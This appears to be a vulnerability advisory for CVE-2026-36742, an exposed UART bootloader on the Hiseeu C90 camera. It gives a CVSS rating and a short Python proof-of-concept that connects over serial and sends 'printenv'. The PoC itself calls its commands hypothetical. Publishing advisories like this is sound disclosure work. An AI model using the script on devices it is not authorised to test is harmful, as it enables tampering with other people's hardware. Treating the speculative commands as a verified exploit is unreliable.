Hiseeu C90 v5.7.15 is vulnerable to Insecure Permissions. The UART bootloader is accessible when battery is disconnected (hidden/debug mode).
CVSS Details
CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Hiseeu C90 v5.7.15
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-36742 (Hiseeu C90 Insecure Permissions)
This script simulates interaction with the exposed UART bootloader.
Requirements: pyserial, physical access via TTL-USB adapter.
"""
import serial
import time
# Configuration for the UART interface
SERIAL_PORT = '/dev/ttyUSB0' # May vary on Windows (e.g., COM3)
BAUD_RATE = 115200
def exploit_uart_bootloader():
print(f"[*] Attempting to connect to {SERIAL_PORT} at {BAUD_RATE} baud...")
try:
# Initialize serial connection
ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=2)
if ser.is_open:
print("[+] Connection established. Device is in Debug Mode.")
# Wait for bootloader prompt
time.sleep(2)
# Send a newline to trigger prompt
ser.write(b'\r\n')
time.sleep(1)
# Read initial response
response = ser.read_all()
print(f"[+] Bootloader Response:\n{response.decode('utf-8', errors='ignore')}")
# Example: Sending a command to list memory regions (hypothetical)
# In a real scenario, commands might allow dumping firmware or unlocking the shell
exploit_cmd = b'printenv\n'
ser.write(exploit_cmd)
time.sleep(1)
# Read exploit response
response = ser.read_all()
print(f"[+] Exploit Output:\n{response.decode('utf-8', errors='ignore')}")
ser.close()
print("[*] PoC execution finished.")
except serial.SerialException as e:
print(f"[-] Serial connection failed: {e}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == '__main__':
exploit_uart_bootloader()